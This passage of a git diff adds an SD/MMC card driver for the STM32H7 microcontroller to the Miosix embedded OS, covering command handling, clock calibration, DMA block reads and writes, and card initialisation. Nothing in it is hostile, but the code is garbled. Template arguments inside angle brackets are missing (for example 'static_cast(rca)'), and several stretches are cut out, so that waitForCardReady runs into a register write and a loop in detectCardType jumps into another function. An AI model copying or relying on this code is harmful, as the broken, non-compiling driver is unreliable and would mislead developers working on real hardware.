+typedef Gpio sdD2; +typedef Gpio sdD3; +typedef Gpio sdCLK; +typedef Gpio sdCMD; +#else +typedef Gpio sdD0; +typedef Gpio sdD1; +typedef Gpio sdD2; +typedef Gpio sdD3; +typedef Gpio sdCLK; +typedef Gpio sdCMD; +#endif + +// +// Class CmdResult +// + +/** + * \internal + * Contains the result of an SD/MMC command + */ +class CmdResult +{ +public: + + /** + * \internal + * Possible outcomes of sending a command + */ + enum Error + { + Ok=0, /// No errors + Timeout, /// Timeout while waiting command reply + CRCFail, /// CRC check failed in command reply + RespNotMatch,/// Response index does not match command index + ACMDFail /// Sending CMD55 failed + }; + + /** + * \internal + * Default constructor + */ + CmdResult(): cmd(0), error(Ok), response(0) {} + + /** + * \internal + * Constructor, set the response data + * \param cmd command index of command that was sent + * \param result result of command + */ + CmdResult(unsigned char cmd, Error error): cmd(cmd), error(error), + response(SDMMC->RESP1) {} + + /** + * \internal + * \return the 32 bit of the response. + * May not be valid if getError()!=Ok or the command does not send a + * response, such as CMD0 + */ + unsigned int getResponse() { return response; } + + /** + * \internal + * \return command index + */ + unsigned char getCmdIndex() { return cmd; } + + /** + * \internal + * \return the error flags of the response + */ + Error getError() { return error; } + + /** + * \internal + * Checks if errors occurred while sending the command. + * \return true if no errors, false otherwise + */ + bool validateError(); + + /** + * \internal + * interprets this->getResponse() as an R1 response, and checks if there are + * errors, or everything is ok + * \return true on success, false on failure + */ + bool validateR1Response(); + + /** + * \internal + * Same as validateR1Response, but can be called with interrupts disabled. + * \return true on success, false on failure + */ + bool IRQvalidateR1Response(); + + /** + * \internal + * interprets this->getResponse() as an R6 response, and checks if there are + * errors, or everything is ok + * \return true on success, false on failure + */ + bool validateR6Response(); + + /** + * \internal + * \return the card state from an R1 or R6 resonse + */ + unsigned char getState(); + +private: + unsigned char cmd; ///<\internal Command index that was sent + Error error; ///<\internal possible error that occurred + unsigned int response; ///<\internal 32bit response +}; + +bool CmdResult::validateError() +{ + switch(error) + { + case Ok: + return true; + case Timeout: + DBGERR("CMD%d: Timeout\n",cmd); + break; + case CRCFail: + DBGERR("CMD%d: CRC Fail\n",cmd); + break; + case RespNotMatch: + DBGERR("CMD%d: Response does not match\n",cmd); + break; + case ACMDFail: + DBGERR("CMD%d: ACMD Fail\n",cmd); + break; + } + return false; +} + +bool CmdResult::validateR1Response() +{ + if(error!=Ok) return validateError(); + //Note: this number is obtained with all the flags of R1 which are errors + //(flagged as E in the SD specification), plus CARD_IS_LOCKED because + //locked card are not supported by this software driver + if((response & 0xfff98008)==0) return true; + DBGERR("CMD%d: R1 response error(s):\n",cmd); + if(response & (1<<31)) DBGERR("Out of range\n"); + if(response & (1<<30)) DBGERR("ADDR error\n"); + if(response & (1<<29)) DBGERR("BLOCKLEN error\n"); + if(response & (1<<28)) DBGERR("ERASE SEQ error\n"); + if(response & (1<<27)) DBGERR("ERASE param\n"); + if(response & (1<<26)) DBGERR("WP violation\n"); + if(response & (1<<25)) DBGERR("card locked\n"); + if(response & (1<<24)) DBGERR("LOCK_UNLOCK failed\n"); + if(response & (1<<23)) DBGERR("command CRC failed\n"); + if(response & (1<<22)) DBGERR("illegal command\n"); + if(response & (1<<21)) DBGERR("ECC fail\n"); + if(response & (1<<20)) DBGERR("card controller error\n"); + if(response & (1<<19)) DBGERR("unknown error\n"); + if(response & (1<<16)) DBGERR("CSD overwrite\n"); + if(response & (1<<15)) DBGERR("WP ERASE skip\n"); + if(response & (1<<3)) DBGERR("AKE_SEQ error\n"); + return false; +} + +bool CmdResult::IRQvalidateR1Response() +{ + if(error!=Ok) return false; + if(response & 0xfff98008) return false; + return true; +} + +bool CmdResult::validateR6Response() +{ + if(error!=Ok) return validateError(); + if((response & 0xe008)==0) return true; + DBGERR("CMD%d: R6 response error(s):\n",cmd); + if(response & (1<<15)) DBGERR("command CRC failed\n"); + if(response & (1<<14)) DBGERR("illegal command\n"); + if(response & (1<<13)) DBGERR("unknown error\n"); + if(response & (1<<3)) DBGERR("AKE_SEQ error\n"); + return false; +} + +unsigned char CmdResult::getState() +{ + unsigned char result=(response>>9) & 0xf; + DBG("CMD%d: State: ",cmd); + switch(result) + { + case 0: DBG("Idle\n"); break; + case 1: DBG("Ready\n"); break; + case 2: DBG("Ident\n"); break; + case 3: DBG("Stby\n"); break; + case 4: DBG("Tran\n"); break; + case 5: DBG("Data\n"); break; + case 6: DBG("Rcv\n"); break; + case 7: DBG("Prg\n"); break; + case 8: DBG("Dis\n"); break; + case 9: DBG("Btst\n"); break; + default: DBG("Unknown\n"); break; + } + return result; +} + +// +// Class Command +// + +/** + * \internal + * This class allows sending commands to an SD or MMC + */ +class Command +{ +public: + + /** + * \internal + * SD/MMC commands + * - bit #7 is @ 1 if a command is an ACMDxx. send() will send the + * sequence CMD55, CMDxx + * - bit from #0 to #5 indicate command index (CMD0..CMD63) + * - bit #6 is don't care + */ + enum CommandType + { + CMD0=0, //GO_IDLE_STATE + CMD2=2, //ALL_SEND_CID + CMD3=3, //SEND_RELATIVE_ADDR + ACMD6=0x80 | 6, //SET_BUS_WIDTH + CMD7=7, //SELECT_DESELECT_CARD + ACMD41=0x80 | 41, //SEND_OP_COND (SD) + CMD8=8, //SEND_IF_COND + CMD9=9, //SEND_CSD + CMD12=12, //STOP_TRANSMISSION + CMD13=13, //SEND_STATUS + CMD16=16, //SET_BLOCKLEN + CMD17=17, //READ_SINGLE_BLOCK + CMD18=18, //READ_MULTIPLE_BLOCK + ACMD23=0x80 | 23, //SET_WR_BLK_ERASE_COUNT (SD) + CMD24=24, //WRITE_BLOCK + CMD25=25, //WRITE_MULTIPLE_BLOCK + CMD55=55 //APP_CMD + }; + + /** + * \internal + * Send a command. + * \param cmd command index (CMD0..CMD63) or ACMDxx command + * \param arg the 32 bit argument to the command + * \return a CmdResult object + */ + static CmdResult send(CommandType cmd, unsigned int arg); + + /** + * \internal + * Set the relative card address, obtained during initialization. + * \param r the card's rca + */ + static void setRca(unsigned short r) { rca=r; } + + /** + * \internal + * \return the card's rca, as set by setRca + */ + static unsigned int getRca() { return static_cast(rca); } + +private: + static unsigned short rca;///<\internal Card's relative address +}; + +CmdResult Command::send(CommandType cmd, unsigned int arg) +{ + unsigned char cc=static_cast(cmd); + //Handle ACMDxx as CMD55, CMDxx + if(cc & 0x80) + { + DBG("ACMD%d\n",cc & 0x3f); + CmdResult r=send(CMD55,(static_cast(rca))<<16); + if(r.validateR1Response()==false) + return CmdResult(cc & 0x3f,CmdResult::ACMDFail); + //Bit 5 @ 1 = next command will be interpreted as ACMD + if((r.getResponse() & (1<<5))==0) + return CmdResult(cc & 0x3f,CmdResult::ACMDFail); + } else DBG("CMD%d\n",cc & 0x3f); + + //Send command + cc &= 0x3f; + unsigned int command=SDMMC_CMD_CPSMEN | static_cast(cc); + if(cc!=CMD0) command |= SDMMC_CMD_WAITRESP_0; //CMD0 has no response + if(cc==CMD2) command |= SDMMC_CMD_WAITRESP_1; //CMD2 has long response + if(cc==CMD9) command |= SDMMC_CMD_WAITRESP_1; //CMD9 has long response + SDMMC->ARG=arg; + SDMMC->CMD=command; + + //CMD0 has no response, so wait until it is sent + if(cc==CMD0) + { + for(int i=0;i<500;i++) + { + if(SDMMC->STA & SDMMC_STA_CMDSENT) + { + SDMMC->ICR=ICR_FLAGS_CLR;//Clear flags + return CmdResult(cc,CmdResult::Ok); + } + delayUs(1); + } + SDMMC->ICR=ICR_FLAGS_CLR;//Clear flags + return CmdResult(cc,CmdResult::Timeout); + } + + //Command is not CMD0, so wait a reply + for(int i=0;i<500;i++) + { + unsigned int status=SDMMC->STA; + if(status & SDMMC_STA_CMDREND) + { + SDMMC->ICR=ICR_FLAGS_CLR;//Clear flags + if(SDMMC->RESPCMD==cc) return CmdResult(cc,CmdResult::Ok); + else return CmdResult(cc,CmdResult::RespNotMatch); + } + if(status & SDMMC_STA_CCRCFAIL) + { + SDMMC->ICR=SDMMC_ICR_CCRCFAILC; + return CmdResult(cc,CmdResult::CRCFail); + } + if(status & SDMMC_STA_CTIMEOUT) break; + delayUs(1); + } + SDMMC->ICR=SDMMC_ICR_CTIMEOUTC; + return CmdResult(cc,CmdResult::Timeout); +} + +unsigned short Command::rca=0; + +// +// Class ClockController +// + +/** + * \internal + * This class controls the clock speed of the SDMMC peripheral. It originated + * from a previous version of this driver, where the SDMMC was used in polled + * mode instead of DMA mode, but has been retained to improve the robustness + * of the driver. + */ +class ClockController +{ +public: + + /** + * \internal. Set a low clock speed of 400KHz or less, used for + * detecting SD/MMC cards. This function as a side effect enables 1bit bus + * width, and disables clock powersave, since it is not allowed by SD spec. + */ + static void setLowSpeedClock() + { + clockReductionAvailable=0; + // No hardware flow control, SDMMC_CK generated on rising edge, 1bit bus + // width, no clock bypass, no powersave. + // Set low clock speed 400KHz + SDMMC->CLKCR=CLOCK_400KHz; + SDMMC->DTIMER=240000; //Timeout 600ms expressed in SD_CK cycles + } + + /** + * \internal + * Automatically select the data speed. This routine selects the highest + * sustainable data transfer speed. This is done by binary search until + * the highest clock speed that causes no errors is found. + * This function as a side effect enables 4bit bus width, and clock + * powersave. + */ + static void calibrateClockSpeed(SDIODriver *sdmmc); + + /** + * \internal + * Since clock speed is set dynamically by binary search at runtime, a + * corner case might be that of a clock speed which results in unreliable + * data transfer, that sometimes succeeds, and sometimes fail. + * For maximum robustness, this function is provided to reduce the clock + * speed slightly in case a data transfer should fail after clock + * calibration. To avoid inadvertently considering other kind of issues as + * clock issues, this function can be called only MAX_ALLOWED_REDUCTIONS + * times after clock calibration, subsequent calls will fail. This will + * avoid other issues causing an ever decreasing clock speed. + * \return true on success, false on failure + */ + static bool reduceClockSpeed(); + + /** + * \internal + * Read and write operation do retry during normal use for robustness, but + * during clock claibration they must not retry for speed reasons. This + * member function returns 1 during clock claibration and MAX_RETRY during + * normal use. + */ + static unsigned char getRetryCount() { return retries; } + +private: + /** + * Set SDMMC clock speed + * \param clkdiv speed is clkdiv==0 ? SDMMCCLK : SDMMCCLK/(2*clkdiv) + */ + static void setClockSpeed(unsigned int clkdiv); + + static_assert(cpuFrequency==550000000 || cpuFrequency==400000000, + "Unknown frequency for PLL Q output"); + static const unsigned int SDMMCCLK= + cpuFrequency==550000000 ? 91666666 : 100000000; + + static const unsigned int CLOCK_400KHz=SDMMCCLK/(2*400000); + static_assert(CLOCK_400KHz>0,""); + #ifdef OVERRIDE_SD_CLOCK_DIVIDER_MAX + //Some boards using SDRAM cause SDMMC TX Underrun occasionally + static const unsigned int CLOCK_MAX=OVERRIDE_SD_CLOCK_DIVIDER_MAX; + #else //OVERRIDE_SD_CLOCK_DIVIDER_MAX + static const unsigned int CLOCK_MAX=1; ////Should be <=50MHz + #endif //OVERRIDE_SD_CLOCK_DIVIDER_MAX + + #ifdef SD_ONE_BIT_DATABUS + ///\internal Clock enabled, bus width 1bit, clock powersave enabled. + static const unsigned int CLKCR_FLAGS=SDMMC_CLKCR_PWRSAV; + #else //SD_ONE_BIT_DATABUS + ///\internal Clock enabled, bus width 4bit, clock powersave enabled. + static const unsigned int CLKCR_FLAGS=SDMMC_CLKCR_WIDBUS_0 | SDMMC_CLKCR_PWRSAV; + #endif //SD_ONE_BIT_DATABUS + + ///\internal Maximum number of calls to IRQreduceClockSpeed() allowed + static const unsigned char MAX_ALLOWED_REDUCTIONS=1; + + ///\internal value returned by getRetryCount() while *not* calibrating clock. + static const unsigned char MAX_RETRY=10; + + ///\internal Used to allow only one call to reduceClockSpeed() + static unsigned char clockReductionAvailable; + + ///\internal value returned by getRetryCount() + static unsigned char retries; +}; + +void ClockController::calibrateClockSpeed(SDIODriver *sdmmc) +{ + //During calibration we call readBlock() which will call reduceClockSpeed() + //so not to invalidate calibration clock reduction must not be available + clockReductionAvailable=0; + retries=1; + + DBG("Automatic speed calibration\n"); + unsigned int buffer[512/sizeof(unsigned int)]; + unsigned int minFreq=CLOCK_400KHz; + unsigned int maxFreq=CLOCK_MAX; + unsigned int selected; + while(minFreq-maxFreq>1) + { + selected=(minFreq+maxFreq)/2; + DBG("Trying CLKCR=%d\n",selected); + setClockSpeed(selected); + //must read 2 times because it blocks just the second time + sdmmc->readBlock(reinterpret_cast(buffer),512,0); + if(sdmmc->readBlock(reinterpret_cast(buffer),512,0)==512) + minFreq=selected; + else maxFreq=selected; + } + + //Last round of algorithm + setClockSpeed(maxFreq+1); + sdmmc->readBlock(reinterpret_cast(buffer),512,0); + if(sdmmc->readBlock(reinterpret_cast(buffer),512,0)==512) + { + DBG("Optimal CLKCR=%d\n",maxFreq+1); + } else { + setClockSpeed(minFreq); + DBG("Optimal CLKCR=%d\n",minFreq); + } + + //Make clock reduction available + clockReductionAvailable=MAX_ALLOWED_REDUCTIONS; + retries=MAX_RETRY; +} + +bool ClockController::reduceClockSpeed() +{ + DBGERR("clock speed reduction requested\n"); + //Ensure this function can be called only a few times + if(clockReductionAvailable==0) return false; + clockReductionAvailable--; + + unsigned int currentClkcr=SDMMC->CLKCR & 0x3ff; + if(currentClkcr==CLOCK_400KHz) return false; //No lower than this value + + //If the value of clockcr is low, increasing it by one is enough since + //frequency changes a lot, otherwise increase by 2. + if(currentClkcr<10) currentClkcr++; + else currentClkcr+=2; + + DBG("New clock speed %d\n", currentClkcr); + setClockSpeed(currentClkcr); + return true; +} + +void ClockController::setClockSpeed(unsigned int clkdiv) +{ + #ifndef SD_KEEP_CARD_SELECTED + SDMMC->CLKCR=clkdiv | CLKCR_FLAGS; + #else //SD_KEEP_CARD_SELECTED + SDMMC->CLKCR=clkdiv | CLKCR_FLAGS | SDMMC_CLKCR_HWFC_EN; + #endif //SD_KEEP_CARD_SELECTED + //Timeout 600ms expressed in SD_CK cycles + if(clkdiv==0) SDMMC->DTIMER=6*SDMMCCLK/10; //No clock division if clockdiv=0 + else SDMMC->DTIMER=6*SDMMCCLK/(10*2*clkdiv); +} + +unsigned char ClockController::clockReductionAvailable=0; +unsigned char ClockController::retries=ClockController::MAX_RETRY; + +// +// Data send/receive functions +// + +/** + * \internal + * Wait until the card is ready for data transfer. + * Can be called independently of the card being selected. + * \return true on success, false on failure + */ +static bool waitForCardReady() +{ + //The card may remain busy for up to 500ms and there appears to be no way + //to set an interrupt to wait until it becomes ready again. We can't just + //poll for that long as if a high priority thread is stuck polling all lower + //priority threads block, so we are forced to do a sleep. The initial value + //of 2ms was found to be impacting performance excessively, so we take + //advantage of high resolution timers by sleeping for 200us, and fallback to + //the previous value only for slow configurations + #if !defined(__CODE_IN_XRAM) + const long long sleepTime=200000; + #else + const long long sleepTime=2000000; + #endif + long long timeout=getTime()+1500000000; //Timeout 1.5 second + do { + CmdResult cr=Command::send(Command::CMD13,Command::getRca()<<16); + if(cr.validateR1Response()==false) return false; + //Bit 8 in R1 response means ready for data. + if(cr.getResponse() & (1<<8)) return true; + Thread::nanoSleep(sleepTime); + } while(getTime()ICR=ICR_FLAGS_CLR; + + + transferError=false; + sdmmcFlags=0; + waiting=Thread::getCurrentThread(); + +} + +/** + * \internal + * Read a given number of contiguous 512 byte blocks from an SD/MMC card. + * Card must be selected prior to calling this function. + * \param buffer, a buffer whose size is 512*nblk bytes + * \param nblk number of blocks to read. + * \param lba logical block address of the first block to read. + */ +static bool multipleBlockRead(unsigned char *buffer, unsigned int nblk, + unsigned int lba) +{ + if(nblk==0) return true; + // TODO check how many sectors can be read in the H7 + while(nblk>32767) + { + if(multipleBlockRead(buffer,32767,lba)==false) return false; + buffer+=32767*512; + nblk-=32767; + lba+=32767; + } + if(waitForCardReady()==false) return false; + + if(cardType!=SDHC) lba*=512; // Convert to byte address if not SDHC + + transferCommonSetup(buffer); + + //Data transfer is considered complete once the DMA transfer complete + //interrupt occurs, that happens when the last data was written in the + //buffer. Both SDMMC and DMA error interrupts are active to catch errors + SDMMC->MASK=SDMMC_MASK_RXOVERRIE | //Interrupt on rx underrun + // SDMMC_MASK_IDMABTCIE | //Interrupt on IDMA transfer complete + SDMMC_MASK_DATAENDIE | //Interrupt on IDMA data end + SDMMC_MASK_TXUNDERRIE | //Interrupt on tx underrun + SDMMC_MASK_DCRCFAILIE | //Interrupt on data CRC fail + SDMMC_MASK_DTIMEOUTIE; //Interrupt on data timeout + + SDMMC->CMD |= SDMMC_CMD_CMDTRANS; + + SDMMC->IDMABASE0 = reinterpret_cast(buffer); + SDMMC->IDMACTRL &= ~SDMMC_IDMA_IDMABMODE; + SDMMC->IDMACTRL |= SDMMC_IDMA_IDMAEN; + + SDMMC->DLEN=nblk*512; + + if(waiting==0) + { + DBGERR("Premature wakeup\n"); + transferError=true; + } + CmdResult cr=Command::send(nblk>1 ? Command::CMD18 : Command::CMD17,lba); + if(cr.validateR1Response()) + { + //Block size 512 bytes, block data xfer, from card to controller + SDMMC->DCTRL=(9<<4) | SDMMC_DCTRL_DTDIR | SDMMC_DCTRL_DTEN; + FastGlobalIrqLock dLock; + while(waiting) Thread::IRQglobalIrqUnlockAndWait(dLock); + + // This while has been benchmarked and it runs for less then 200 ns for + // every read issued. It is needed to wait for the IDMA transfer complete + // after the wakeup to confirm that the data is consistent. + while(SDMMC->STA & SDMMC_STA_IDMABTC) ; + + } else transferError=true; + + SDMMC->DCTRL=0; //Disable data path state machine + SDMMC->MASK=0; + + // CMD12 is sent to end CMD18 (multiple block read), or to abort an + // unfinished read in case of errors + if(nblk>1 || transferError) + { + cr=Command::send(Command::CMD12,0); + if(transferError) + { + // CMD13 is sent to check the real status of the sdio after CMD12 + // and to reset the card in case if it gets stuck in a illegal state + cr=Command::send(Command::CMD13,Command::getRca()<<16); + } + } + if(transferError || cr.validateR1Response()==false) + { + displayBlockTransferError(); + ClockController::reduceClockSpeed(); + return false; + } + + //Read ok, deal with cache coherence + markBufferAfterDmaRead(buffer,nblk*512); + + return true; +} + +/** + * \internal + * Write a given number of contiguous 512 byte blocks to an SD/MMC card. + * Card must be selected prior to calling this function. + * \param buffer, a buffer whose size is 512*nblk bytes + * \param nblk number of blocks to write. + * \param lba logical block address of the first block to write. + */ +static bool multipleBlockWrite(const unsigned char *buffer, unsigned int nblk, + unsigned int lba) +{ + if(nblk==0) return true; + while(nblk>32767) + { + if(multipleBlockWrite(buffer,32767,lba)==false) return false; + buffer+=32767*512; + nblk-=32767; + lba+=32767; + } + + //Deal with cache coherence + markBufferBeforeDmaWrite(buffer,nblk*512); + + if(waitForCardReady()==false) return false; + + if(cardType!=SDHC) lba*=512; // Convert to byte address if not SDHC + if(nblk>1) + { + CmdResult cr=Command::send(Command::ACMD23,nblk); + if(cr.validateR1Response()==false) return false; + } + + transferCommonSetup(buffer); + + //Data transfer is considered complete once the SDMMC transfer complete + //interrupt occurs, that happens when the last data was written to the SDMMC + //Both SDMMC and DMA error interrupts are active to catch errors + SDMMC->MASK=SDMMC_MASK_DATAENDIE | //Interrupt on data end + SDMMC_MASK_IDMABTCIE | //Interrupt on IDMA transfer complete + // SDMMC_MASK_STBITERRIE | //Interrupt on start bit error + SDMMC_MASK_RXOVERRIE | //Interrupt on rx underrun + SDMMC_MASK_TXUNDERRIE | //Interrupt on tx underrun + SDMMC_MASK_DCRCFAILIE | //Interrupt on data CRC fail + SDMMC_MASK_DTIMEOUTIE; //Interrupt on data timeout + + SDMMC->IDMABASE0 = reinterpret_cast(buffer); + SDMMC->IDMACTRL = SDMMC_IDMA_IDMAEN; + + SDMMC->DLEN=nblk*512; + if(waiting==0) + { + DBGERR("Premature wakeup\n"); + transferError=true; + } + CmdResult cr=Command::send(nblk>1 ? Command::CMD25 : Command::CMD24,lba); + if(cr.validateR1Response()) + { + //Block size 512 bytes, block data xfer, from card to controller + SDMMC->DCTRL=(9<<4) | SDMMC_DCTRL_DTEN; + FastGlobalIrqLock dLock; + while(waiting) Thread::IRQglobalIrqUnlockAndWait(dLock); + } else transferError=true; + + SDMMC->DCTRL=0; //Disable data path state machine + SDMMC->MASK=0; + + // CMD12 is sent to end CMD25 (multiple block write), or to abort an + // unfinished write in case of errors + if(nblk>1 || transferError) + { + cr=Command::send(Command::CMD12,0); + if(transferError) + { + // CMD13 is sent to check the real status of the sdio after CMD12 + // and to reset the card in case if it gets stuck in a illegal state + cr=Command::send(Command::CMD13,Command::getRca()<<16); + } + } + if(transferError || cr.validateR1Response()==false) + { + displayBlockTransferError(); + ClockController::reduceClockSpeed(); + return false; + } + return true; +} + +// +// Class CardSelector +// + +#ifndef SD_KEEP_CARD_SELECTED +/** + * \internal + * Simple RAII class for selecting an SD/MMC card an automatically deselect it + * at the end of the scope. + */ +class CardSelector +{ +public: + /** + * \internal + * Constructor. Selects the card. + * The result of the select operation is available through its succeded() + * member function + */ + explicit CardSelector() + { + success=Command::send( + Command::CMD7,Command::getRca()<<16).validateR1Response(); + } + + /** + * \internal + * \return true if the card was selected, false on error + */ + bool succeded() { return success; } + + /** + * \internal + * Destructor, ensures that the card is deselected + */ + ~CardSelector() + { + Command::send(Command::CMD7,0); //Deselect card. This will timeout + } + +private: + bool success; +}; +#endif //SD_KEEP_CARD_SELECTED + +// +// Initialization helper functions +// + +/** + * \internal + * Initialzes the SDMMC peripheral in the STM32 + */ +static void initSDMMCPeripheral() +{ + { + //Doing read-modify-write on RCC->APBENR2 and gpios, better be safe + GlobalIrqLock lock; + RCC->AHB4ENR |= RCC_AHB4ENR_GPIOCEN + | RCC_AHB4ENR_GPIODEN + ; + RCC_SYNC(); + #if SD_SDMMC==1 + RCC->AHB3ENR |= RCC_AHB3ENR_SDMMC1EN; + #else + RCC->AHB2ENR |= RCC_AHB2ENR_SDMMC2EN; + #endif + RCC_SYNC(); + #if SD_SDMMC==2 + sdD0::mode(Mode::ALTERNATE); + sdD0::alternateFunction(11); + #ifndef SD_ONE_BIT_DATABUS + sdD1::mode(Mode::ALTERNATE); + sdD1::alternateFunction(11); + sdD2::mode(Mode::ALTERNATE); + sdD2::alternateFunction(9); + sdD3::mode(Mode::ALTERNATE); + sdD3::alternateFunction(9); + #endif // SD_ONE_BIT_DATABUS + sdCLK::mode(Mode::ALTERNATE); + sdCLK::alternateFunction(11); + sdCMD::mode(Mode::ALTERNATE); + sdCMD::alternateFunction(11); + #else + sdD0::mode(Mode::ALTERNATE); + sdD0::alternateFunction(12); + #ifndef SD_ONE_BIT_DATABUS + sdD1::mode(Mode::ALTERNATE); + sdD1::alternateFunction(12); + sdD2::mode(Mode::ALTERNATE); + sdD2::alternateFunction(12); + sdD3::mode(Mode::ALTERNATE); + sdD3::alternateFunction(12); + #endif // SD_ONE_BIT_DATABUS + sdCLK::mode(Mode::ALTERNATE); + sdCLK::alternateFunction(12); + sdCMD::mode(Mode::ALTERNATE); + sdCMD::alternateFunction(12); + #endif + IRQregisterIrq(lock,SDMMC_IRQn,SDirqImpl); + } + + SDMMC->POWER=0; //Power off state + delayUs(1); + SDMMC->CLKCR=0; + SDMMC->CMD=0; + SDMMC->DCTRL=0; + SDMMC->ICR=0x4005ff; + SDMMC->POWER=SDMMC_POWER_PWRCTRL_1 | SDMMC_POWER_PWRCTRL_0; //Power on state + //This delay is particularly important: when setting the POWER register a + //glitch on the CMD pin happens. This glitch has a fast fall time and a slow + //rise time resembling an RC charge with a ~6us rise time. If the clock is + //started too soon, the card sees a clock pulse while CMD is low, and + //interprets it as a start bit. No, setting POWER to powerup does not + //eliminate the glitch. + delayUs(10); + ClockController::setLowSpeedClock(); + //Wait at least 74 clock cycles before first command + Thread::nanoSleep(250000); +} + +/** + * \internal + * Detect if the card is an SDHC, SDv2, SDv1, MMC + * \return Type of card: (1<<0)=MMC (1<<1)=SDv1 (1<<2)=SDv2 (1<<2)|(1<<3)=SDHC + * or Invalid if card detect failed. + */ +static CardType detectCardType() +{ + const int INIT_TIMEOUT=200; //200*10ms= 2 seconds + CmdResult r=Command::send(Command::CMD8,0x1aa); + if(r.validateError()) + { + //We have an SDv2 card connected + if(r.getResponse()!=0x1aa) + { + DBGERR("CMD8 validation: voltage range fail\n"); + return Invalid; + } + for(int i=0;i SDIODriver::instance() +{ + static KernelMutex m; + static intrusive_ref_ptr instance; + Lock l(m); + + if(!instance) instance=new SDIODriver(); + return instance; +} + +ssize_t SDIODriver::readBlock(void* buffer, size_t size, off_t where) +{ + if(where % 512 || size % 512) return -EFAULT; + unsigned int lba=where/512; + unsigned int nSectors=size/512; + Lock l(mutex); + DBG("SDIODriver::readBlock(): nSectors=%d\n",nSectors); + + for(int i=0;i(buffer), + nSectors,lba)==false) error=true; + + + + if(error==false) + { + if(i>0) DBGERR("Read: required %d retries\n",i); + return size; + } + } + return -EBADF; +} + +ssize_t SDIODriver::writeBlock(const void* buffer, size_t size, off_t where) +{ + if(where % 512 || size % 512) return -EFAULT; + unsigned int lba=where/512; + unsigned int nSectors=size/512; + Lock l(mutex); + DBG("SDIODriver::writeBlock(): nSectors=%d\n",nSectors); + + for(int i=0;i(buffer), + nSectors,lba)==false) error=true; + + + + if(error==false) + { + if(i>0) DBGERR("Write: required %d retries\n",i); + return size; + } + } + return -EBADF; +} + +int SDIODriver::ioctl(int cmd, void* arg) +{ + DBG("SDIODriver::ioctl()\n"); + if(cmd!=IOCTL_SYNC) return -ENOTTY; + Lock l(mutex); + //Note: no need to select card, since status can be queried even with card + //not selected. + return waitForCardReady() ? 0 : -EFAULT; +} + +SDIODriver::SDIODriver() : Device(Device::BLOCK) +{ + initSDMMCPeripheral(); + + // This is more important than it seems, since CMD55 requires the card's RCA + // as argument. During initalization, after CMD0 the card has an RCA of zero + // so without this line ACMD41 will fail and the card won't be initialized. + Command::setRca(0); + + //Send card reset command + CmdResult r=Command::send(Command::CMD0,0); + if(r.validateError()==false) return; + + cardType=detectCardType(); + if(cardType==Invalid) return; //Card detect failed + if(cardType==MMC) return; //MMC cards currently unsupported + + // Now give an RCA to the card. In theory we should loop and enumerate all + // the cards but this driver supports only one card. + r=Command::send(Command::CMD2,0); + //CMD2 sends R2 response, whose CMDINDEX field is wrong + if(r.getError()!=CmdResult::Ok && r.getError()!=CmdResult::RespNotMatch) + { + r.validateError(); + return; + } + r=Command::send(Command::CMD3,0); + if(r.validateR6Response()==false) return; + Command::setRca(r.getResponse()>>16); + DBG("Got RCA=%u\n",Command::getRca()); + if(Command::getRca()==0) + { + //RCA=0 can't be accepted, since it is used to deselect cards + DBGERR("RCA=0 is invalid\n"); + return; + } + + //Lastly, try selecting the card and configure the latest bits + { + #ifndef SD_KEEP_CARD_SELECTED + CardSelector selector; + if(selector.succeded()==false) return; + #else //SD_KEEP_CARD_SELECTED + //Select card here, and keep it selected indefinitely + r=Command::send(Command::CMD7,Command::getRca()<<16); + if(r.validateR1Response()==false) return; + #endif //SD_KEEP_CARD_SELECTED + + r=Command::send(Command::CMD13,Command::getRca()<<16);//Get status + if(r.validateR1Response()==false) return; + if(r.getState()!=4) //4=Tran state + { + DBGERR("CMD7 was not able to select card\n"); + return; + } + + #ifndef SD_ONE_BIT_DATABUS + r=Command::send(Command::ACMD6,2); //Set 4 bit bus width + if(r.validateR1Response()==false) return; + #endif //SD_ONE_BIT_DATABUS + + if(cardType!=SDHC) + { + r=Command::send(Command::CMD16,512); //Set 512Byte block length + if(r.validateR1Response()==false) return; + } + } + + // Now that card is initialized, perform self calibration of maximum + // possible read/write speed. This as a side effect enables 4bit bus width. + ClockController::calibrateClockSpeed(this); + + DBG("SDMMC init: Success\n"); +} + +} //namespace miosix diff --git a/miosix/arch/drivers/sdmmc/stm32h7_sd.h b/miosix/arch/drivers/sdmmc/stm32h7_sd.h new file mode 100644 index 000000000..8a5472362 --- /dev/null +++ b/miosix/arch/drivers/sdmmc/stm32h7_sd.h @@ -0,0 +1,64 @@ +/*************************************************************************** + * Copyright (C) 2014 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#ifndef SD_STM32H7_H +#define SD_STM32H7_H + +#include "kernel/sync.h" +#include "filesystem/devfs/devfs.h" +#include "filesystem/ioctl.h" + +namespace miosix { + +/** + * Driver for the SDIO peripheral in STM32F2 and F4 microcontrollers + */ +class SDIODriver : public Device +{ +public: + /** + * \return an instance to this class, singleton + */ + static intrusive_ref_ptr instance(); + + virtual ssize_t readBlock(void *buffer, size_t size, off_t where); + + virtual ssize_t writeBlock(const void *buffer, size_t size, off_t where); + + virtual int ioctl(int cmd, void *arg); +private: + /** + * Constructor + */ + SDIODriver(); + + KernelMutex mutex; +}; + +} //namespace miosix + +#endif //SD_STM32F2_F4_H diff --git a/miosix/arch/drivers/sdmmc/stm32l4_sd.cpp b/miosix/arch/drivers/sdmmc/stm32l4_sd.cpp new file mode 100644 index 000000000..9eff89bcd --- /dev/null +++ b/miosix/arch/drivers/sdmmc/stm32l4_sd.cpp @@ -0,0 +1,1148 @@ + +#include "stm32l4_sd.h" +#include "interfaces/bsp.h" +#include "interfaces/arch_registers.h" +#include "interfaces/interrupts.h" +#include "interfaces/delays.h" +#include "kernel/thread.h" +#include "board_settings.h" //For sdVoltage and SD_ONE_BIT_DATABUS definitions +#include +#include +#include + +//Note: enabling debugging might cause deadlock when using sleep() or reboot() +//The bug won't be fixed because debugging is only 